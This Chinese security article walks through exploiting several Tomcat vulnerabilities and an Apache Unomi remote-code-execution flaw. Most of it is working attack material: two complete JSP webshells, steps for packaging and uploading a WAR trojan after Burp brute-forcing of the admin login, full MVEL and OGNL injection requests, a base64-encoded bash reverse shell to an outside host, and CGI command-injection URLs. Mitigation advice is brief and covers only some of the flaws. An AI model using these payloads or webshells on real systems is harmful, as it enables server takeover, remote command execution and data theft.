Tomcat常见的漏洞总结

  • A+
所属分类:安全文章

Tomcat常见漏洞

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的

漏洞汇总

Tomcat常见的漏洞总结


CVE-2020-1938文件包含漏洞

漏洞描述

  该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,如:webapp配置文件或源代码等。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。

漏洞影响版本

Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31

不受影响版本


Apache Tomcat = 7.0.100Apache Tomcat = 8.5.51Apache Tomcat = 9.0.31

漏洞分析

  Tomcat在处理ajp协议时存在漏洞,可通过调用request.setAttribute为Tomcat设置任意request属性。复现发现Tomcat ajp协议存在web目录下任意文件读取漏洞以及JSP文件包含漏洞。
  当ajp URI设置为非jsp路径时,Tomcat会调用DefaultServlet处理,此时会导致web目录任意文件读取漏洞。

  当ajp URI设置为jsp路径时,Tomcat会调用JspServlet处理,此时会导致JSP文件包含漏洞

漏洞复现

Tomcat常见的漏洞总结

1.使用nmap扫描目标是否开启了8009端口


Tomcat常见的漏洞总结

2.使用poc扫描目标网站

下载地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi


Tomcat常见的漏洞总结

这里是读取ROOT路径下的web.xml (默认为ROOT)
如果想换路径可以更改POC源码里的/的位置更换成想要查询的目录(只能在webapps下)比如examples

Tomcat常见的漏洞总结

防御方式

  1.禁用AJP协议,在tomcat安装路径中找到/conf/server.xml文件,删除或注释下面这行代码:<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
  2.升级到tomcat最新版本
 3.配置secret来设置AJP协议的认证凭证,如:<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>


Tomcat后台弱口令漏洞

Tomcat后台存在弱口令,进入网站后点击登录然后使用burp进行爆破测试

Tomcat常见的漏洞总结

Tomcat常见的漏洞总结

    可以发现账户密码是利用Authorization该授权字段以base64方式传递账户信息的
    发现加密方式后,拿去解密后发现他的数据传输是将账户与密码用冒号进行组合之后在用base64加密所传递的。构造字段进行爆破
    使用burp抓包后发送到 Intrude 模块进行暴力破解

Tomcat常见的漏洞总结

    通过上面的验证得到tomat数据传递格式为 username:password ,使用burp模糊测试模块中的 custom iteactor 自定义迭代类型的payload,该类型的payload共分为8个占位符,每一个占位符又可以指定简单列表的payload类型。再根据占位的数值,于每一个payload列表区进行笛卡尔积生成集合组

    简单理解就是: 设置占位符,利用数学中的笛卡尔积进行集合,去拼凑各种可能存在的payload可能列表
    设置格式如下:

Tomcat常见的漏洞总结

    按照payload类型进行设置Position参数,比如我们要爆破Tomcat数据。设置第一个Position参数就是username参数,然后再进行添加paylaod字典。依次类推第二个参数就是冒号 : ,第三个就是password字段。设置完成后再对数据字段进行base64编码就可以进行爆破。设置方法如下:

Tomcat常见的漏洞总结

    以上就是tomcat基础认证爆破,当然我们还可以去自己收集匹配号的三个字段字典或者base64加密过的字典以及metasploit中的tomcat爆破,更加方便进行爆破

Tomcat常见的漏洞总结

    成功爆破出账号密码,然后使用base64解码得出明文账号密码
    使用爆破出的账号密码登录进去后台后发现有一个上传页面,直接上传一个war木马就可以


Tomcat常见的漏洞总结

war木马的制作过程

1.找到一个jsp的木马

<%    if("023".equals(request.getParameter("pwd"))){    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();    int a = -1;    byte[] b = new byte[2048];    out.print("<pre>");    while((a=in.read(b))!=-1){        out.println(new String(b));    }    out.print("</pre>");}%>

2.将sp木马放入 jdk1.8.0_73bin 目录下,然后在cmd输出已下命令(注意是必须在java环境下的,必须使用管理员权限的)

jar cvf  +部署的war木马 +自己bin目录下的jsp木马


Tomcat常见的漏洞总结

木马制作成功

上传制作的war木马

Tomcat常见的漏洞总结

可以看到已经成功上传了木马


Tomcat常见的漏洞总结

访问上传的1.jsp目录然后就可以执行我们想要执行的系统命令

Tomcat常见的漏洞总结


CVE-2017-12615Tomcat远程代码执行漏洞(PUT请求)

漏洞介绍

    远程代码执行漏洞(CVE-2017-12615) 影响:Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行,危害十分严重

影响版本

    Apache Tomcat 7.0.0 - 7.0.81

漏洞利用前提:

    需Tomcat开启了HTTP PUT请求

漏洞原理分析

    Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过 JspServlet 处理请求的:而其他的静态文件是通过 DefaultServlet 处理的:可以得知,“1.jsp ”(末尾有一个和空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。
    当处理 PUT 请求时:会调用 resources.bind:dirContext 为 FileDirContext:调用 rebind 创建文件:又由于 Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。

环境搭建

    下载Tomcat,安装成功后,需要开启HTTP PUT请求,首先打开Tomcat目录,找到配置文件

Tomcat常见的漏洞总结

    打开之后,寻找readonly ,如图,他被禁用了,禁止PUT上传:

Tomcat常见的漏洞总结

    找到 org.apache.catalina.servlets.DefaultServlet 方法,并添加以下命令,添加成功后重启一下即可

<init-param>         <param-name>readonly</param-name>         <param-value>false</param-value> </init-param> 

Tomcat常见的漏洞总结

漏洞复现

1.使用burp进行抓包,将请求包发送到repeater模块中,将GET请求方法改为OPTIONS,查看请求方法

Tomcat常见的漏洞总结

2.发现启用了PUT方法,使用PUT请求上传jsp木马

jsp马:<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;while ((temp = buf.readLine()) != null) {
line.append(temp+"n");}buf.close();} catch (Exception e) {
line.append(e.getMessage());}return line.toString();}%> <%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

Tomcat常见的漏洞总结

3.页面状态码返回201,表示木马写入成功

4.到页面中访问(ip+1.jsp) url: http://219.153.49.228:47195/shell.jsp?cmd=ls%20/&pwd=023

Tomcat常见的漏洞总结

5.该漏洞实际上是利用了window下文件名解析的漏洞来触发的。通过构造特殊后缀名,绕过Tomcat检测,让Tomcat用DefaultServlet的逻辑处理请求,从而上传jsp webshell文件
有三种方法可以进行绕过

1 shell.jsp%20
2 shell.jsp::$DATA
3 shell.jsp/


CVE-2020-13942 Apache Unomi 远程代码执行漏洞

Apache Unomi简介

    Apache Unomi 是一个基于标准的客户/数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月提交给了 Apache 孵化器。


    Apache Unomi 具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B 测试等功能,它可以作为:
Ø Web CMS 个性化服务
Ø 原生移动应用的分析服务
Ø 具有分段功能的集中配置文件管理系统
Ø 授权管理中心

漏洞描述

    Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月 Unomi 成为Apache 软件基金会项目。在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码

漏洞影响版本

    Apache Unomi < 1.5.2

环境搭建

    使用docker一键搭建的vulhub靶场,访问页面 ip:8181
    通过8181和9443两个端口都可以触发漏洞,本次使用 8181端口进行漏洞复现

Tomcat常见的漏洞总结

漏洞复现

1.打开靶场首页,使用bp进行抓包,发送到Repeater模块构造数据包

Tomcat常见的漏洞总结

2.将GET请求改为POST请求,删除多余的字段,保留HOST,User-Agent和Content-Length字段,然后添加以下数据,将dnslog换为自己的地址,然后发送数据包

POST /context.json HTTP/1.1Host: 目标地址:8181User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Content-Length: 495
{ "filters": [ { "id": "boom", "filters": [ { "condition": { "parameterValues": { "test": "script::Runtime r = Runtime.getRuntime(); r.exec("ping br9yb9.dnslog.cn");" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "test"}

Tomcat常见的漏洞总结

Tomcat常见的漏洞总结

3.可以使用此漏洞来反弹shell,将bash反弹shell的命令进行编码,编码在线地址为 (http://www.jackson-t.ca/runtime-exec-payloads.html)


bash -i >& /dev/tcp/192.168.1.6/4444 0>&1编码后为bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}


4.将编码后的shell添加到以下poc的执行系统命令的地方 ()

POST /context.json HTTP/1.1Host: localhost:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 483
{ "filters": [ { "id": "sample", "filters": [ { "condition": { "parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}");" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "sample"}

Tomcat常见的漏洞总结

成功反弹shell

Tomcat常见的漏洞总结

上面使用的是通过MVEL表达式执行任意命令,以下使用OGNL表达式执行任意命令

在漏洞首页抓取请求包然后发送到Repeater模块中构造数据包,构造的poc为

POST /context.json HTTP/1.1Host: localhost:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 1064
{ "personalizations":[ { "id":"gender-test", "strategy":"matching-first", "strategyOptions":{ "fallback":"var2" }, "contents":[ { "filters":[ { "condition":{ "parameterValues":{ "propertyName":"(#runtimeclass = #this.getClass().forName("java.lang.Runtime")). (#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]). (#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters() [0].getType().getName().equals("java.lang.String")}.{? #this.getParameters().length < 2}[0]). (#execmethod.invoke(#rtobj,"touch /tmp/ognl"))", "comparisonOperator":"equals", "propertyValue":"male" }, "type":"profilePropertyCondition" } } ] } ] } ], "sessionId":"sample"}

Tomcat常见的漏洞总结

可以看到成功在 /tmp/ 目录下成功创建了一个文件,也可以利用这个漏洞反弹shell

Tomcat常见的漏洞总结


CVE-2019-0232 Apache Tomcat远程代码执行漏洞

简介

    Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的

漏洞描述

    该漏洞只对Windows平台有效,攻击者向CGI Servlet发送请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。CGI_Servlet默认是关闭的

漏洞影响范围

Apache Tomcat 9.0.0.M1 ~ 9.0.17Apache Tomcat 8.5.0 ~ 8.5.39Apache Tomcat 7.0.0 ~ 7.0.93

环境搭建

    环境:Java8+Apache Tomcat 8.5.39

1.安装tomcat需要java环境,jdk下载地址(https://www.oracle.com/java/technologies/javase-downloads.html)

2.下载完后配置环境变量,输出java -version验证是否配置成功

Tomcat常见的漏洞总结

3.安装tomcat8.5.39版本,下载地址(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/)

Tomcat常见的漏洞总结

4.下载完成后进行解压然后配置tomcat,打开Tomcat按目录下的confweb.xml 取消以下两项的注释,否则访问cgi目录会提示404,默认情况下是注释的

Web.xml文件 (两处代码都需要取消注释)

<servlet>    <servlet-name>cgi</servlet-name>    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>    <init-param>      <param-name>debug</param-name>      <param-value>0</param-value>    </init-param>    <init-param>      <param-name>cgiPathPrefix</param-name>      <param-value>WEB-INF/cgi-bin</param-value>    </init-param>    <init-param>      <param-name>executable</param-name>      <param-value></param-value>    </init-param>     <load-on-startup>5</load-on-startup></servlet> 
<!-- The mapping for the CGI Gateway servlet -->
<servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern></servlet-mapping>

修改在conf/context.xml中的<Context>添加privileged="true"语句

Tomcat常见的漏洞总结

5.在webappsROOTWEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入

Tomcat常见的漏洞总结

Tomcat常见的漏洞总结

6.都配置完成之后进入 bin目录下运行 startup.bat 启动tomcat

Tomcat常见的漏洞总结

7.访问搭建后的页面,若出现下图则说明搭建成功

Tomcat常见的漏洞总结


漏洞复现

    1.在浏览器访问,执行net user 命令

http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user

Tomcat常见的漏洞总结

    执行whoami命令

http://192.168.64.137:8080/cgi-bin/test.bat?c:/windows/system32/whoami.exe

Tomcat常见的漏洞总结


漏洞修复

受影响版本的用户应该应用下列其中一项缓解。升级到:

Apache Tomcat 9.0.18或更高版本Apache Tomcat 8.5.40或更高版本Apache Tomcat 7.0.93或更高版本


本文始发于微信公众号(黑白天实验室):Tomcat常见的漏洞总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: